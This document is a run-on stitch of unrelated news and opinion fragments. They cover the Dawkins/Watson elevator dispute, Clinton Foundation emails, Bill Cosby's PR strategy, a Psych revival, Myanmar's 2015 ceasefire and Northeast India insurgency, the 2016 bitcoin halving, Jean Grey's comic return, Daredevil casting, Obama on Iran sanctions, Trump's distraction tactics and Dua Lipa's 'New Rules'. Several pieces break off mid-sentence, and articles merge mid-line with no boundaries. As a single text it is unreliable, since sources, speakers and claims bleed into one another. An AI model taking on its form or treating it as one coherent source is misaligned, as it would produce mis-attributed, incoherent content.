Afghanistan, zero reproductive rights, forced to wear identity-stripping and soul-crushing clothing, rampant rape and genital mutilation, etc., etc., etc. Yes, yes, I know these things have been addressed, but you’re more likely to hear it from the conservative side of the spectrum than from second-wave progressive feminists. Ayaan Hirsi Ali has spoken extensively on this subject, and was so disenchanted with her treatment from the “left” that she shifted her whole political ideology to the right and has been speaking out on this subject through that prism ever since. I cannot account for why western feminists so blatantly ignore women’s plight in the Third World. I have my ideas, but they are based on pure supposition. What I do know is that because of this nearly unforgivable failure, it makes many people give up completely on gender issues. This isn’t to say that what happens here is irrelevant because people have it worse elsewhere. But it does call for a bit of perspective. This is what Dawkins is saying … and remember, up to this point, nobody has overtly brought up sexual assault or rape (except for P.Z. Meyers, in his lazy way). What happened between Watson and the man in the elevator was a complete non-issue. Given the facts at hand, nothing happened that was objectionable. The worst criticism you can come up with is that it might not have been overly smooth to attempt such a verbal pick-up in an elevator, but … meh. But Watson is waving the bloody |
and Freedom of Information Requests led to the discovery of Clinton's private email system, which has caused her a political headache throughout her presidential campaign.
'The right-wing organization behind this lawsuit has been attacking the Clintons since the 1990s and no matter how this group tries to mischaracterize these documents, the fact remains that Hillary Clinton never took action as secretary of state because of donations to the Clinton Foundation,' Schwerin said.
That didn't stop Clinton's rival Donald Trump, who's dealing with his own controversy after suggesting the 'Second Amendment' would be one way to handle Clinton and her judicial picks, from making use of the emails' revelations and CNN's reporting that the Justice Department had declined to investigate the Clinton Foundation.
'Once again, the Department of Justice has protected Hillary Clinton. Earlier this year the DOJ denied a request from the FBI to investigate her pay-to-play, corrupt Clinton Foundation,' team Trump wrote in an email to supporters this afternoon, asking for donations.
'News of its rejection comes immediately after leaked emails exposed a concerning link between the Clinton Foundation and the State Department!' the plea continued.Bill Cosby is claiming that he’s the victim of racism and a witch hunt after scores of women came forward claiming the disgraced comedian secretly plied them with drugs and raped them.
RadarOnline.com has learned that Cosby, 78, and his handlers mapped out a media plan during an intense strategy session, which his spokespeople and Washington, D.C. attorney, Monique Pressley, now plan to execute.
Cosby’s team will insist he’s been targeted because he’s black and famous. They are also determined to use terms like “lynching,” “witch hunt” and “persecution” in their public relations campaign to salvage what’s left of the actor’s image, a Cosby insider reveals to Radar.
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Cosby’s team hopes the strategy will help their famous client gain the support of African-Americans, including black journalists, who Cosby has said should be “neutral” in their coverage of the scandal.
“Look, it’s not rocket science and it’s not hard to understand, particularly if you’re African-American, that no matter if an individual has fame and fortune, if he supposedly drugged and raped a white woman, he’s very much susceptible to swift and harsh punishment,” the insider said.
“So, what [the team] wants to do and will do on Mr. Cosby’s behalf is simply put to the public a scenario that everyone knows makes sense,” continues the insider. “Nearly all of these women are white and most of them said that this happened in the 1960s and 1970s. I don’t care if you’re Bill Cosby or any other black celebrity, you can’t tell me that a white woman’s claim of being assaulted in any way by a black man would be ignored.”
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“What cannot happen in the United States is that 40 years later there is a persecution tantamount to a witch hunt…” Cosby’s attorney has already noted of the scandal.
“Bill Cosby was a black man in America. If we look back on our own history and see what was happening during those times, he would have been target No. 1 in those days,” Pressley also noted.
“I’m saying, based on what I know of our country and our country’s history, and when we look back on the kinds of things that were being done to African-American males, I find it incredulous that no one would have believed [his white accusers] enough to check their story,” she added.
The insider, who has regular access to Cosby’s team, said Camille Cosby, the star’s wife, has agreed to go with the new plan.With Psych: The Movie bringing back everyone's favorite fake psychic, fans have started asking whether the series is ripe for a revival.
With shows like Full House, Gilmore Girls and even Will & Grace getting revived for a second run, it's not out of the realm of possibility that Psych could get the same treatment — especially if this movie does well.
Before anything is said or done, you have to take it to the most important people in the room though: the cast!
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"Maybe," Kirsten Nelson told TV Guide about a potential revival. "Because these characters — James and Steve made them more dimensional in this movie. They're giving them things to do that we didn't do in the first eight seasons. I mean, Gus has got a girlfriend now that out-Guses him. We meet my family. Shawn and Juliet still have got struggles."
James Roday says the decision is above his pay grade, but it sounds like his answer is yes if that decision is ever made. "If a bunch of people decide that that's what they want to do, I would certainly accept the challenge just because I will feel indebted forever to our fans," Roday says, "And if that's the route that they decide to take then I'm on board."
Psych: The Movie will air Dec. 7 at 8/7c on USA.By SATP
By Fakir Mohan Pradhan*
The Myanmar Government signed a Nationwide Ceasefire Accord (NCA) with eight ethnic armed groups on October 15, 2015, enhancing prospects of ending a majority of the country’s long-running internal conflicts. President U Thein Sein hailed the signing of the Accord as a “historic” event. The signing ceremony was witnessed by international observers including representatives from India, Thailand, Japan, China, the United Nations and the European Union. Fifteen armed groups were invited to take part in negotiations that lasted almost two years, with eight groups finally agreeing to sign the NCA, while seven groups chose to stay away. Acknowledging that the ethnic Kachin and Wa – with tens of thousands of soldiers – are still determined to fight, President Thein Sein pledged to “try harder to gain agreement with other groups”.
According to the President, the signing will be followed by the formation of a Joint Ceasefire Monitoring Committee to prevent armed clashes and a Union Peace Dialogue Joint Committee to facilitate political dialogue. A political framework is to be drawn up within 60 days after the formal NCA signing and the political dialogue is to start within 90 days.
India hailed the signing of NCA, which was witnessed by National Security Advisor Ajit Doval, Chairman of Joint Intelligence Committee (JIC) and interlocutor for Naga peace talks R.N. Ravi and former Chief Minister of Mizoram Zoramthanga. Zoramthanga had been involved in the peace deal and had travelled earlier to Myanmar and Thailand where he held talks with both Myanmarese rebel groups and the Government as a mediator.
At least three groups active along the Indo-Myanmar border – the Kachin Independence Organisation (KIO), Chin National Front (CNF) and Khaplang faction of the National Socialist Council of Nagaland (NSCN-K) – were part of the peace negotiations ahead of signing of NCA. While CNF signed up, KIO and NSCN-K walked out. NSCN-K had taken the decision not be part of the NCA in a party conference held on September 21 at its headquarters, where NSCN-K ‘chairman’ S.S Khaplang and other central committee members were present. Later, in an interview with Independent Mon News Agency (report published on September 24) U Kyaw Sein, an NSCN-K central committee member said, “We already discussed the topic with our chairman. The chairman said we aren’t ready to sign the NCA yet. And, there are some political issues in our group. We cannot find a solution for this by just signing the NCA. The government side also cannot solve this problem. So, we decided not to participate in the NCA inking.” He did not reveal what these political problems were, though he added, “It is not that we will revolt against the Burmese Government because we do not sign the NCA”. Though NSCN-K is not a signatory to the Agreement, from India’s internal security perspective the NCA can be very significant as Myanmar still remains a safe haven for a host of militant outfits active in India’s north-east. Erstwhile safe havens in Bhutan and Bangladesh have now become extremely difficult.
NSCN-K was in ceasefire agreement with Government of India since April 28, 2001, till March 27, 2015 when it unilaterally pulled out of the truce and attacked the Indian Army in Chandel District on June 4, 2015, causing the death of 18 Army personnel and injuring another 11 soldiers. Significantly, NSCN-K had also entered into a ceasefire agreement with Myanmar on April 9, 2012, which allowed it elbow room to maintain peace with Myanmar while stepping up violence in its area of operation in India. This made things difficult for India, as Myanmar lacked a legal framework to take action against it, even if Indian diplomatic efforts could convince Myanmar to take punitive action against NSCN-K. There is a possibility now that things may change.
With the signing of NCA and NSCN-K’s exclusion, the group’s earlier ceasefire with Myanmar is in danger of being derecognized. In fact, U Kyaw Sein in the interview to Independent Mon News Agency had acknowledged that, at a meeting with the Government at Myanmar Peace Center on September 16, 2015, officials told the NSCN-K that if it did not participate in the NCA signing, the group would be included in the unlawful groups list.
Significantly, following NSCN-K’s refusal to be part of the NCA, Myanmar troops have launched punitive operations against the outfit’s facilities in Myanmar Naga Hills (MNH). Two major bases at Ponyu and Langhting were set afire and a few weapons seized, driving cadres into forest and mountain hideouts. Myanmar now has the legal cover to act against NSCN-K, as and when it decides to do so. Further, after resolving a majority of conflicts in the country, Myanmar can effectively turn the heat on the remaining insurgent outfits outside the NCA. It is, however, likely to take significant diplomatic efforts to convince Myanmar to act effectively and in a sustained manner against the anti-India groups.
Meanwhile, as the NCA was being signed in Myanmar, Paresh Baruah, ‘commander-in-chief’ of the United Liberation Front of Asom – Independent (ULFA-I) spoke to The Assam Tribune over phone from an undisclosed location and claimed that the United National Liberation Front of Western South East Asia (UNLFWSEA) would enhance its strength by incorporating another nine militant outfits in its fold. The UNLFWSEA was formed on April 17, 2015, by four active militant groups of the Northeast region – NSCN-K, ULFA-I; the IK Songbijit faction of the National Democratic Front of Bodoland (NDFB-IKS); and Kamtapur Liberation Organisation (KLO) – with the aim of setting up a ‘northeast government-in-exile’, reportedly to be based in Myanmar. S.S. Khaplang, the NSCN-K ‘chief’ is chairman of this new front, UNLFWSEA.
Paresh Baruah claimed that two Meghalaya-based outfits – Garo National Liberation Army (GNLA) and Hynniewtrep National Liberation Council (HNLC) – have already expressed their desire to join the common platform. He added that the formal process of these outfits joining the new grouping may be completed within the current year. Further, the Coordination Committee (CorCom), a common platform of seven militant groups of Manipur, is likely to join the new front. Baruah claimed that six member outfits of CorCom were ready to join UNLFWSEA immediately, “But we want the entire CorCom to join us. They have some problem with one of the constituents and we are hoping that they can settle their problems soon so that the entire CorCom can join us. We are expecting that the seven outfits of Manipur will be joining hands with us within this year.” Baruah also claimed that one insurgent group from Tripura would also be joining the front ‘soon’.
While the developments in Myanmar can be seen as an opportunity to put increased pressure on the militant formations in India’s Northeast, UNLFW is seeking out ways to withstand that pressure and keep the situation boiling at a time when a ‘historic accord’ has been signed between the Government of India and the largest rebel Naga group, the National Socialist Council of Nagalim – Isak Muivah (NSCN-IM) on August 3, 2015, raising hopes of a larger peace in the Northeast.
According to South Asia Terrorism Portal database there has been a sustained decline in insurgent violence in India’s Northeast over the years, with occasional spikes in certain theatres. As of October 25, 2015, the Northeast as whole recorded a total of 236 fatalities, including 52 civilians, 46 Security Force (SF) personnel and 138 militants, while the figure for the corresponding period in 2014 saw a total of 333 fatalities including 145 civilians, 17 SF personnel and 171 militants. Significantly, however, though more than two months remain in the current year, SF fatalities have already doubled in comparison to the whole of 2014. In fact, one thing stands out in the fatalities data for the Northeast: SF fatalities had not crossed 40 since 2008, but have already touched 46 in 2015 (as of October 25).
Fatalities in Terrorist Violence in India’s Northeast 2005-2015
Year Civilians SFs Terrorists Total 2005 334 69 314 717 2006 232 92 313 637 2007 457 68 511 1036 2008 404 40 607 1051 2009 270 40 542 852 2010 77 22 223 322 2011 79 35 132 246 2012 90 18 208 316 2013 95 21 136 252 2014 245 23 197 465 2015 52 46 138 236 Total 2335 474 3321 6130
Source: SATP, *Data till October 25, 2015
As battle lines are redrawn in the Northeast, there is a lurking danger of escalation of violence. The NSCN-K, is trying to capture the militant space apparently vacated by the Isak-Muivah faction of National Socialist Council of Nagaland (NSCN-IM). If Paresh Baruah is to be believed, and despite the potentially mounting pressure in Myanmar, S.S. Khaplang is in no mood to come to the negotiating table any time soon. However, if India gets its Myanmar maths correct, the militants will find the situation getting progressively more difficult.
*Fakir Mohan Pradhan
Research Associate, Institute for Conflict ManagementOn July 9, 2016, just eight days away, the bitcoin market is going to change.
As for the impact of that change, it’s all speculation for now, but just the chatter around bitcoin’s halving event has sent its prices fluctuating a bit more than normal. Of course, there’s Brexit, too, that pushed bitcoin’s prices even higher.
Bitcoin halving is an adjustment to bitcoin’s design in order to control how many new bitcoin can be created. When bitcoin was first released, a cap was placed on how many bitcoin could ever be produced.
When the halving occurs, the bitcoin block mining reward will decrease from 25 to 12.5 bitcoins. The last halving event was on Nov. 28, 2012, when the mining reward was cut from 50 to 25. That means that whenever a bitcoin miner completes a bitcoin block they earn a bitcoin. So when the halving occurs, the miners will only get 12.5 bitcoins instead of 25 bitcoins.
While it’s unknown what might happen after this halving goes into effect, many speculate that, if supply is cut, prices will jump. Basic supply and demand at best, and perhaps the oddest scenario. And just to get everyone on the same page, for this week’s bitcoin tracker we gathered up a few key numbers that might come in handy when this bitcoin halving event occurs next week.
15,717,057 | Number of bitcoins in circulation (As of June 30)
5,282,925 | Bitcoins left to mine until the next halving
21,000,000 | Total number of bitcoins that can be produced (under its current structure)
$10.5B | Bitcoin’s estimated market cap
3,600 | Number of bitcoins generated daily
$668.72 | Bitcoin’s price on June 30
$536.82 | Bitcoin’s lowest price in June 2016
74.84 Percent | Percentage of bitcoins mined
So what will the full impact of the halving event have on bitcoin? We’ll find out July 9.
Beyond bitcoin’s next big event, here’s what else happened this week in bitcoin.
Winklevoss Twins Choose BATS over NASDAQ
The Winklevoss Bitcoin Trust (its actual name) has decided it won’t list on the NASDAQ, and instead will list its bitcoin exchange on BATS Global Markets, according to SEC filings.
While this may seem odd, especially because the Winklevosses have talked about listing on NASDAQ for some time, reportedly the BATS team convinced them to join their side because they are a larger player in the ETF market. But before they can bring that exchange to a trading market it still needs one little thing: SEC approval.
But if the Winklevosses receive that approval and their Gemini bitcoin exchange gets SEC approval, it would be the first regulated bitcoin-related investment vehicle of its type. If it gets approval to trade it would do so under the symbol COIN. It would also mark a first of its kind for BATS as being its first bitcoin-related asset.
We are excited to add the Winklevoss Bitcoin Trust,” Laura Morrison, head of exchange-traded products at BATS, told WSJ.
Bitcoin Exchange Scores VC Support
A startup in Singapore offering bitcoin exchange and cryptocurrency services just secured another major round of funding.
The company, Quoine, announced that is has raised $16 million for its Series B round. This follows its $2 million Series A round in December 2014. This new round’s investors included Jafco, a Japanese investment company, along with a unnamed VC firm. But the company noted that the round is not closed so there could be up to $4 million more raised in this round.
According to reports, Quoine is the largest bitcoin exchange that operates in a major bitcoin market, Japan, as it has $50 million bitcoins transacted over its exchange per day. Its co-founder Kariya Kayamori said in an interview that there is $50 trillion of foreign-exchange trading in Japan a year, and eventually he believes cryptocurrencies will account for 10 percent of those transactions.
The latest conversation among Japan’s Liberal Democratic party surrounds plans for bitcoin and other digital currencies to be treated equally to any other currency. What that would do, of course, is put bitcoin in a regulatory framework that enables lawmakers to tax, regulate and monitor bitcoin transactions in a way that may give more legitimacy to the concept of the cryptocurrency.
Citi Says Bitcoin Isn’t A Threat To Banking
New research from analysts at Citi Research have concluded one thing this week that many people could have already guessed: bitcoin doesn’t pose a threat to banking.
While there is a lot of chatter about how blockchain could innovate the banking ecosystem, when it comes to where bitcoin fits into the mix, that’s an entirely different discussion. And for now, what the researchers have concluded is that bitcoin isn’t quite ripe for the mainstream market. In fact, it hasn’t really gotten past the “proof-of-concept” stage, the group concludes.
“Having written three reports on the topic of blockchain,” the group wrote in its report, “one common theme we have observed is the limited use-cases for the peer-to-peer transfer of value due to a number of issues including scalability, network adoption and lack of a legal/regulatory framework for dispute resolution.”
The concept of digital currency issued by banks could eventually arise as an issue in the payments industry, the report concludes, but for now, bitcoin doesn’t seam to have enough oomph to get it over that hump that would actually have these researchers concerned.
“We do view a central-bank issued digital currency as a significant threat to the banks’ central role in payments,” they write. “But this seems to be a very long tail risk.”
Which about sums up bitcoin itself.Share. It's not a ResurrXion without Jean. It's not a ResurrXion without Jean.
Warning: this article contains spoilers for Phoenix Resurrection: The Return of Jean Grey #1!
No major superhero character stays dead forever, but Jean Grey sure knows how to cling to the afterlife longer than most. 14 years after being killed by Fake Magneto (long story) in New X-Men #150, Jean is finally making her return in the miniseries Phoenix Resurrection: The Return of Jean Grey. That book is set to pave the way for a new ongoing series called X-Men Red in February, with Jean leading a brand new team. Clearly, Jean's return is a big deal for the X-Men franchise, as well it should be. She couldn't be coming back to life at a better time. After a year where Marvel has tried and failed to reinvigorate the struggling X-Men comics, Jean Grey's return may be just the thing to finally put the franchise back on track.
2017 was a big year for the X-Men. The Inhumans vs. X-Men crossover wrapped up the long-running conflict between the two teams, and the ResurrXion relaunch that followed ushered in a new wave of books and mutant teams. But "big" didn't exactly equate to "successful" in this case. IvX did little more than prove that the "hero vs. hero" formula had played itself out, while ResurrXion has failed to build a compelling status quo for the X-Men. ResurrXion taps into the lingering nostalgia fans have for the franchise's golden age (the '80s and early '90s) but has done little to build on that nostalgic platform. The X-Men comics that do succeed, creatively, are the ones that are the least changed by ResurrXion - All-New Wolverine and X-Men Blue (which is basically All-New X-Men by another name). Looking at the sluggish sales figures and the impending cancellations of Generation X and Iceman, it's clear that the X-Men franchise still isn't clicking with readers the way it once did.
There's been something vital missing from the X-Men comics for years now. Part of that simply boils down fact that so many of the most popular X-Men are MIA. Prior to the start of Marvel Legacy, Jean, Wolverine, Cyclops and Professor X were all dead. Marvel has clearly been looking to rectify this problem. Wolverine and Xavier are already among the living (the latter now dwelling inside the head of Fantomex). Jean is in the process of returning, and even Cyclops may be due for a resurrection, if the final page of Phoenix Resurrection #1 is to be believed. Simply having these four mutant heavy-hitters back in action may be enough to appeal to readers who have been struggling to connect with the franchise lately.
Exit Theatre Mode
That said, Jean's return is by far the most significant. She's been dead longer than the other three characters put together. And in that time, a great deal has changed for the X-Men. Xavier retired as headmaster of his school. Cyclops took his place and began a long-term relationship with the mutant homewrecker Emma Frost. The mutant race was nearly destroyed thanks to House of M. Cyclops and Wolverine had a huge falling out and opened rival schools. Cyclops became a fugitive and mutant revolutionary. The original teenage X-Men were dragged into the present by Beast. And so on.
There's a compelling story to be told in how Jean reacts to these many changes. In that way, she's not so different from her younger self, who's been facing some hard truths about the woman she'll one day become. The older Jean will return to the X-Men to find herself literally caught between her past and future, encountering her younger, more idealistic self and coming to terms with the shocking direction her team has taken since her death. Jean's struggle as she returns to life embodies the struggles this franchise has been facing for a while now. Have the X-Men strayed too far from their original path? Is there a way to both honor the appeal of the classic X-Men adventures while still pushing the franchise in new and unexpected directions? Can two versions of Jean coexist together, or is it time to finally send the original X-Men home? Jean starts to seem like the ideal face of the X-Men franchise as Marvel charts a new course in 2018.
As much as I adore Grant Morrison's New X-Men run, part of me has always wished that story didn't culminate with Jean's death. Morrison did so much to elevate Jean as a character and define her outside of her relationship to Cyclops. Frankly, Morrison's decision to break up their marriage is the best thing that happened to either character. Jean's return, belated though it may be, allows new writers the opportunity to continue building a developing Jean's story. At one point in New X-Men, Xavier tells Jean that he intends to pass his school on to her. In his mind, Jean, not Cyclops or Wolverine or Beast, is the X-Man most qualified to guide the next generation of mutantkind. And why not? Jean is the clearest success story Xavier has. She's a mutant burdened with overwhelming power who learned to control that power and use it for the betterment of the world. She's a strong, confident person despite playing host to one of the most destructive and unstable forces in the Marvel Universe.
14 years later, writers can now finally take that next step and explore what happens when Jean embraces the responsibility Xavier laid out for her. We've seen what happens when Cyclops, Wolverine, Storm and even Kitty Pryde try to lead the X-Men. None of them have been able to realize Xavier's dream of a thriving mutant race that coexists peacefully with humanity. Xavier's recent return in Astonishing X-Men suggests that the founding X-Man could be returning to his old role. But that would be a mistake. As much as the franchise has fallen victim to backwards-facing nostalgia lately, the last thing we need is for the X-Men to further regress to the old, familiar status quo. Casting Jean as the face of the franchise opens up new storytelling avenues that Xavier doesn't.
It's also worth noting that when you have a character that powerful at the forefront of the team, the threats and villains facing the X-Men have to increase accordingly. The X-Men line has mostly cycled through the supervillain greatest hits during the course of ResurrXion - Sentinels, Mojo, Omega Red, Reverend Stryker, etc. Jean's return can and should be the catalyst for all-new challenges. When the X-Men have the power of the Phoenix at their disposal, bringing back the X-Cutioner doesn't cut it.
16 Marvel Comics Characters Who Became the Phoenix 10+ IMAGES Fullscreen Image Artboard 3 Copy Artboard 3 ESC 01 OF 15 With Jean Grey finally returning to the X-Men comics, here's a look back at the many heroes and villains who have wielded the Phoenix Force. 01 OF 15 With Jean Grey finally returning to the X-Men comics, here's a look back at the many heroes and villains who have wielded the Phoenix Force. 16 Marvel Comics Characters Who Became the Phoenix Marvel Comics Download Image Captions ESC
Jean's return allows Marvel to both put the spotlight on a fan-favorite character and use her to propel the team into a new and uncertain future. A Jean Grey-led X-Men team is going to be very different from the ones we've been reading, and that's exactly what the franchise needs right now.
"Between the Panels" is a bi-weekly column from Jesse Schedeen that focuses on the world of comics. You can see more of his thoughts on comics and pop culture by following @jschedeen on Twitter, or Kicksplode on MyIGN.'Daredevil' Season 2 News, Update: Luke Cage, Jessica Jones To Appear Next Season In Some Capacity
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There are definitely a lot of reasons to look forward to when Netflix's hit series "Daredevil" returns for its second season sometime in 2016.
For one, there's the previously announced casting addition of the popular Marvel anti-heroes, the Punisher and Elektra. As already known, the former will be played by "The Walking Dead" alumni Jon Bernthal while the latter is expected to be played by the "G.I. Joe: Retaliation" star Elodie Yung.
The nature to which the two characters will appear in "Daredevil" Season 2 has yet to be learned but speculations are closely referring to Frank Castle (the Punisher) as someone who will go up against Matt Murdock. On the other hand, fans should also expect plenty of flashbacks showing Murdock's romantic past with the Greek lady.
Meanwhile, a recent article from Movie Pilot discussed the possibility for a brief crossover of characters from other Netflix-Marvel series, "Jessica Jones" and "Luke Cage."
The media outlet pointed out that one of the biggest "connecting elements" between the aforementioned shows is Claire Dawson, who has appeared in recurring manner during the first season of Daredevil. The character played by Rosario Dawson also happens to appear in the Krysten Ritter-starred show which began streaming on Netflix last month.
During the final Jones' episode, Claire made mention to the titular heroine how she happens to know a guy who, like her and Luke (Mike Colter), "makes life hard for the bad guys."
The nurse went on to offer her assistance to make the characters meet.
Besides Claire, Pam's (Susie Abromeit) murder case could also bring in the Hell's Kitchen's struggling attorneys, Murdock and associate Foggy Nelson (Elden Henson).
At the end of "Jessica Jones," Jeri Hogarth's (Carrie-Anne Moss) ex-lover and PA was being held responsible for the death of Wendy Ross-Hogarth (Robin Weigert). Movie Pilot speculates that Nelson & Murdock might step in to represent the accused.
Pam's case and Claire's offer are just but two of the possible scenarios that could link "Daredevil" to "Jessica Jones" and later on to "Luke Cage." Regardless of how this will happen, all three titular heroes are slated to appear in Netflix's slice of Marvel Cinematic Universe, "The Defenders."CLOSE President Obama vowed Friday to veto any congressional attempt to impose new sanctions on Iran, saying they would gut negotiations over Tehran's nuclear program and perhaps risk a military confrontation. VPC
President Obama and British Prime Minister David Cameron at the White House on Friday. (Photo: Mark Wilson, Getty Images)
President Obama vowed Friday to veto any congressional attempt to impose new sanctions on Iran, saying they would gut negotiations over Tehran's nuclear program and perhaps risk a military confrontation.
"I am not — repeat, not — suggesting that we are in immediate war footing should negotiations with Iran fail," Obama said during a joint news conference with British Prime Minister David Cameron.
Negotiations — offering to reduce sanctions on Iran if it gives up the means to make nuclear weapons — are the best way to resolve the dispute peacefully, Obama said.
"If, in fact, our view is that we have to prevent Iran from getting a nuclear weapon," he said, "then we have to recognize the possibility that should diplomacy fail, we have to look at other options to achieve that goal."
Cameron, who said he has spoken with some U.S. senators about the issue, backed Obama and said his country believes "that further sanctions or further threat of sanctions at this point won't actually help to bring the talks to a successful conclusion."
The threat could also "fracture the international unity that there's been which has been so valuable in presenting a united front to Iran," Cameron said.
Senators from both parties, skeptical of Iran's intentions, have said that increased sanctions will force them to respond to global concerns about their nuclear program.
Urging Congress to "show patience," Obama said he would only agree to a "good deal" with Iran and is willing to walk away from a bad one.
"I respectfully request them to hold off for a few months to see if we have the possibility of solving a big problem without resorting potentially to war," Obama said.
Read or Share this story: http://usat.ly/1IRcvlcNo, over there! Our case-by-case guide to the Trump distraction technique
In the first two months of his presidency Donald Trump has proved himself to be – if nothing else – a master of distraction.
His critics say that Trump’s chaotic time in charge has followed a now familiar pattern. Bad – or embarrassing – news emerges, then Trump either blurts out some tweets, or makes spurious claims elsewhere, in an attempt to change the narrative.
Here are some of the president’s finest obfuscations.
Makes dubious claims about inauguration attendance, distracts with even more dubious claims about voter fraud
Facebook Twitter Pinterest The crowd at the inauguration of Donald Trump and voters in the 2016 presidential election. Composite: EPA & Getty Images
Trump spent the first couple of days of his presidency obsessing over the number of people who attended his inauguration. On Saturday 21 January, his first full day in office, he used a speech at the CIA’s headquarters to claim between 1 million and 1.5 million people had turned out, which contradicted photos showing large empty spaces on the National Mall.
The next day, the White House press secretary, Sean Spicer, repeated Trump’s claims, telling the media that the new president had drawn “the largest audience ever to witness an inauguration, period, both in person and around the globe”. Spicer’s statement was treated with suspicion by the media, particularly when photographs of the crowd at Barack Obama’s inauguration were compared – favorably – with those for Trump.
The Trump administration’s claims, and the evidence offered against them, overshadowed any actual work the president had been undertaking during his first days in office. In addition, the row probably served as a blow to the ego of the president – who is known to take an interest in his popularity.
Soon the conversation shifted, however, when Trump falsely claimed that millions of people voted illegally in the presidential election – costing him the popular vote. The president tweeted that he “will be asking for a major investigation” into what he perceived as voter fraud.
Politicians from both sides of the aisle expressed scepticism over Trump’s claims, and little has been heard of the investigation since. On 15 March Politico reported that prominent Republicans were “breathing a sigh of relief” that Trump had not pursued his pledge to investigate.
Botches executive order on immigration, Australian PM takes a hit
Facebook Twitter Pinterest Protesters over the travel ban and the Australian prime minister, Malcolm Turnbull. Composite: AP & Rex Features
Trump issued an executive order on Friday 27 January that indefinitely barred refugees from entering the US and prevented people from seven Muslim-majority countries from entering the US. The order sparked chaos across the US as people were detained at airports. Dozens of lawsuits were filed against the order, which was criticized by Democrats, Republicans and human rights organizations.
Whether it was deliberate or not, on 2 February a new controversy emerged to distract from the botched executive order.
The Washington Post reported that Trump had hung up on the Australian prime minister, Malcolm Turnbull, 25 minutes into a call that was meant to last an hour. Trump had been upset when Turnbull brought up a pre-existing agreement between the US and Australia that said the US would accept 1,250 refugees, the Post wrote.
It drew attention away from the immigration ban controversy and the image of the tough-talking president berating the leader of a foreign country is likely to have gone down well with Trump’s base. Indeed, the Sydney Morning Herald reported that there was speculation in Canberra that Trump’s chief strategist, Steve Bannon, had leaked the call.
Michael Flynn resigns after scandal, Trump announces campaign-style rally
Facebook Twitter Pinterest Michael Flynn and a Trump rally in Melbourne, Florida, on 18 February 2017. Composite: Getty Images
On Monday 13 February Michael Flynn resigned as Trump’s national security adviser. A series of leaks divulged that he had discussed sanctions with the Russian ambassador to Washington, then had lied about having those discussions – including lying to Vice-President Mike Pence.
This was not good for Trump, whose ties to Russia were – and still are – under scrutiny.
Trump’s response – less than a month after having taken office – was to organize a campaign-style rally in a friendly location: Melbourne, Florida. The president tweeted about it on Wednesday 15 February, and by Saturday was being cheered by 9,000 people.
Responds to claims administration is in chaos with chaotic 77-minute press conference
Facebook Twitter Pinterest Andrew Puzder and journalists at the Trump press conference at the White House on 16 February 2016. Composite: AP & Getty Images
It never rains but it pours. The same day Trump was organizing that Florida rally, a new problem emerged when Andrew Puzder, the president’s choice to run the Department of Labor, abruptly withdrew his nomination for the post. On the same day Trump casually dropped a decade-long US commitment to establishing a Palestinian state alongside Israel.
The developments – along with the earlier Flynn resignation – prompted many to wonder about the state of Trump’s administration.
The solution: Trump held a sprawling, freeform press conference. As the Guardian’s Tom McCarthy wrote: “Trump touted his work as president, denied ties to Russia, attacked the media, claimed to be popular and obsessed over Hillary Clinton.”
The bizarre nature of the presser – at one point Trump insisted he was “not ranting and raving”, and at another he claimed his administration is “running like a fine-tuned machine” – kept columnists and talking heads busy for days.
Jeff Sessions misleads Senate committee, Trump accuses Obama of wiretapping Trump Tower
Facebook Twitter Pinterest Jeff Sessions and ‘wiretapping at Trump Tower’. Composite: AP & Getty Images
After a speech to Congress on Tuesday 28 February that was hailed – by some – as quite good, Trump was on the up. But 24 hours later it emerged that his attorney general, Jeff Sessions, had met the Russian ambassador, Sergey Kislyak, twice during the presidential campaign.
This was a problem, because Sessions had not disclosed the conversations when asked, under oath, about contacts between Trump’s campaign and Russia during his Senate confirmation hearing.
Out of control? Or is Trump's tweeting designed to distract? Read more
There was further embarrassment for Trump on Thursday 2 March, when Sessions recused himself from investigations |
empowerment' Spotify playlist that woman from your gym secretly loves. From Christina Aguilera's "Stronger" to Little Mix's "Shout Out To My Ex", there is a whole world of music that celebrates the failed relationship as a character-building experience, and interprets heartbreak with unbridled optimism. Often, this is exactly what we need. These songs provide us with emotional coping methods that we probably would not be able to provide for ourselves.
But "New Rules" is different: it's a song about what we can provide for ourselves. It maintains a neutral perspective, finding empowerment not in optimism, but pragmatism. The sense of sadness imbued in the vocal, combined with the energising backing track, is representative of the fact that most of us feel more than one feeling at the same time, most of the time. And, unlike many breakup anthems, "New Rules" does not commend the fuckboy for making you a better person. In fact, it doesn’t even address him. All we know about him is that he’s made Dua Lipa sad, and she’s finding a way to deal with it.
Still from "New Rules"
Lost or unrequited love is obviously a common theme in music, including opera. Puccini’s Madame Butterfly sees a woman waiting for years for her lost husband, only to discover he has a new wife. In Tchaikovsky’s Eugene Onegin, Tatyana is friendzoned by the protagonist and he tells her that she shouldn’t be so open with her feelings (thanks for the tip). And then, written some two centuries prior, there’s Purcell’s Dido and Aeneas. Here, Dido, the Queen of Carthage, falls in love with the Trojan hero Aeneas. She thinks he loves her too, but – quelle surprise – he fucks off to sea and leaves her on her own, because he has to complete his quest (read: focus on his career). Dido consequently sings one of the most famous arias in Western classical music: “When I am laid in earth”, or "Dido's Lament".
“New Rules” reminds me of the lament firstly because of its melancholy undertone. It’s less pronounced than in the aria, but definitely there – particularly when Dua Lipa wistfully sings “my love”, a line in the verses that’s slightly incongruous with the stomping down-to-earthness of the rest of the track. Both “New Rules” and “Dido’s Lament” are in a minor key, which is a common and traditional method of conveying sadness. There’s also a parallel, though, in that they are both founded on an acceptance of what’s happened, and present a way of dealing with it. The coping methods of Dua Lipa and Dido are, admittedly, different. While Dido sings to the audience to “remember me, but forget my fate” and subsequently commits suicide, Dua Lipa scribbles catchy mantras in her notebook (I like to imagine that she uses a fluffy-ended pen) and shares them with the world. But what neither of them do to cope is wallow, or thank their abandoner for the person he’s made them.
While Dido addresses her lover Aeneas (and the audience), Dua Lipa seems to address herself as she writes down her rules. In an age where the self is presented as more important than anything else, this feels poignant. To hear a pop star taking care of themselves by setting rules is a new phenomenon. We’re used to pop music that gushes with emotion, sentimentality, naughtiness, impulse – but this is a track about desire that's controllable, about love that Dua Lipa needs to end, and (to use an old cliché) about head prevailing over heart. It narrates a cold-blooded, painful, practical journey of finding your own way. Of course, while we know that, within the narrative, Dua is talking to herself, the second person imperative – “One: don’t pick up the phone”; “Two: don’t let him in; Three: don’t be his friend” etc – ostensibly addresses us. The combination of the advocating of self-care and having a pop star counsel us into not making decisions that are bad for us is quite a powerful one.
